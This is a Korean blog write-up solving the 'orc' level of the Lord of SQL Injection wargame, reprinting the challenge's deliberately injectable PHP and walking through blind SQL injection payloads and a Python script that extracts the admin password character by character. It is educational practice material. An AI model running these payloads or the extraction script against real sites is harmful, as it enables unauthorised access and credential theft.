Oh! JUN

[Lord Of SQL Injection] 4번 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 4번

Kwon Oh! JUN 2022. 1. 30. 02:45

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php


query : select id from prob_orc where id='admin' and pw=''



<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

★admin id의 pw을 알면 문제를 해결할 수 있다.

 

  $query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";

  if($result['id']) echo "<h2>Hello admin</h2>"

query문이 ture이면 hello admin 문구를 확인할 수 있다.


length 문구가 필터링되어있지 않기 때문에 pw의 길이를 알아낼 수 있다.

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27||length(pw)=8%23

 


query : select id from prob_orc where id='admin' and pw=''||length(pw)=8#'


 

Hello admin

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>

 

?pw=%27||length(pw)=8%23

pw의 길이가 8임을 가정했을 때 hello admin 문구가 출력되었으니까 pw의 길이가 8자리인걸 확인할 수 있다.


이제 pw가 8자리인건 알아냈으니까 한자리씩 pw을 알아내야한다.(blind sql)https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27||ascii(substr(pw,1,1))<50%23

ascii(substr(pw,1,1))은 pw의 첫번째자리 한개를 ascii코드로 변경한다. 

ex) apple -> 'a' --ascii코드--> '97'


query : select id from prob_orc where id='admin' and pw=''||ascii(substr(pw,1,1))=50#'


 

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>

 

pw의 첫번째 자리의 수를 아스키코드로 했을 때 50이라고 설정해주었는데 hello admin 문구가 안뜨는거보면 false이다.

 


query : select id from prob_orc where id='admin' and pw=''||ascii(substr(pw,1,1))=49#'


 

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>

 

마찬가지로 49도 아니다. 

더 좁혀보자.

 


query : select id from prob_orc where id='admin' and pw=''||ascii(substr(pw,1,1))=48#'


 

Hello admin

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>

 

48로 주었을 때 hello admin문구가 출력되었다.

즉 pw의 첫번째 자리의 아스키코드 값은 48이다.

 

이진법 팔진법 십진법 십육진법 모양 85진법(아스키85)
0101111 057 47 2F / 14
0110000 060 48 30 0 15
0110001 061 49 31 1 16
0110010 062 50 32 2 17
0110011 063 51 33 3 18
0110100 064 52 34 4 19

 

아스키코드 48은 0이다.

pw 첫번째 자리의 값은 0이다.

 

지금까지 한것을 반복해서 pw의 8자리를 알아내면 된다.

하지만 이런 노가다를 하고 싶지는 않으니까 코드를 활용하면 된다.

 

 
import requests
import string

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = dict(PHPSESSID="쿠키값")

asc = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in asc:
        param = "?pw=' or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(ord(j))+"%23"
        res_url = url+param
        response = requests.get(res_url, cookies=cookie)

        if response.text.find("Hello admin")>0:
            print(j)
            result+=j
            break
print("pw :"+result)

코드를 설명하자면

 

asc = string.digits+string.ascii_letters

asc는 "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"가 들어가게 되는데 pw의 범위를 숫자+소문자+대문자로 정해놓은것이다.

 

for i in range(1,9):
    for j in asc:
        param = "?pw=' or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(ord(j))+"%23"
        res_url = url+param
        response = requests.get(res_url, cookies=cookie)

str(i)은 pw의 자리를 나타낸다. 1~8까지 반복하니까 pw의 각 자리수를 접근하고 str(ord(j))는 문자를 아스키코드로 변경하고 변경된 아스키코드를 문자열 형태로 변경한다.

그래서 asc값인 "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"에서 하나씩 체크해서 일치하는 값이 있는지 확인할것이다.

 

        if response.text.find("Hello admin")>0:
            print(j)
            result+=j
            break

requests.get해서 response에 "Hello admin" 텍스트가 존재하면 사용된 asc값을 알아낼 수 있다. 

 

결과를 확인하면 

$ python -u "c:\Users\내이름\OneDrive\htdocs\python\blind_sql_sample1.py"
9
5
a
9
8
5
2
pw :095a9852